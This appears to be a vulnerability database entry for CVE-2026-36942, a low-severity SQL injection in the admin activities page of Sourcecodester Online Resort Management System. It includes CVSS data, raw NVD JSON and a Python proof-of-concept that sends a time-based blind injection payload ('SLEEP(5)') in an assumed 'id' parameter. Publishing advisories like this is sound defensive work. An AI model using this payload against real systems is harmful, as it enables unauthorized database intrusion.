Security Vulnerability Report
中文
CVE-2026-36942 CVSS 2.7 LOW

CVE-2026-36942

Published: 2026-04-13 15:17:34
Last Modified: 2026-05-10 14:16:50

Description

Sourcecodester Online Resort Management System v1.0 is vulnerable to SQL injection in the file /orms/admin/activities/manage_activity.php.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Sourcecodester Online Resort Management System v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Sourcecodester Online Resort Management System v1.0 - SQL Injection # Date: 2026-04-13 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14586/online-resort-management-system-using-phpmysqli-source-code.html # Version: v1.0 # Tested on: Ubuntu/Apache # CVE: CVE-2026-36942 def check_sqli(target_url, session_cookie): """ Tests for SQL Injection in manage_activity.php. Note: High Privileges (Admin) are required based on CVE details. """ # The vulnerable endpoint full_url = f"{target_url}/orms/admin/activities/manage_activity.php" # Headers with simulated admin session headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "Mozilla/5.0 (CVE-Analyzer)" } # Payload: Time-based blind injection (Sleep 5 seconds) # Assuming the parameter is 'id' based on common patterns in this CMS payload = { "id": "1 AND SLEEP(5)-- -" } try: print(f"[*] Sending payload to {full_url}...") response = requests.post(full_url, data=payload, headers=headers, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") print("[+] The application is vulnerable to SQL Injection on the 'id' parameter.") else: print("[-] Vulnerability not detected or insufficient privileges.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with target URL and valid admin session ID target = "http://localhost" session = "valid_admin_session_id_here" check_sqli(target, session)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36942", "sourceIdentifier": "[email protected]", "published": "2026-04-13T15:17:34.290", "lastModified": "2026-05-10T14:16:50.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Online Resort Management System v1.0 is vulnerable to SQL injection in the file /orms/admin/activities/manage_activity.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/huliangjia/bug_report/blob/main/Sourcecodester/online-resort-management-system/SQL-4.md", "source": "[email protected]"}]}}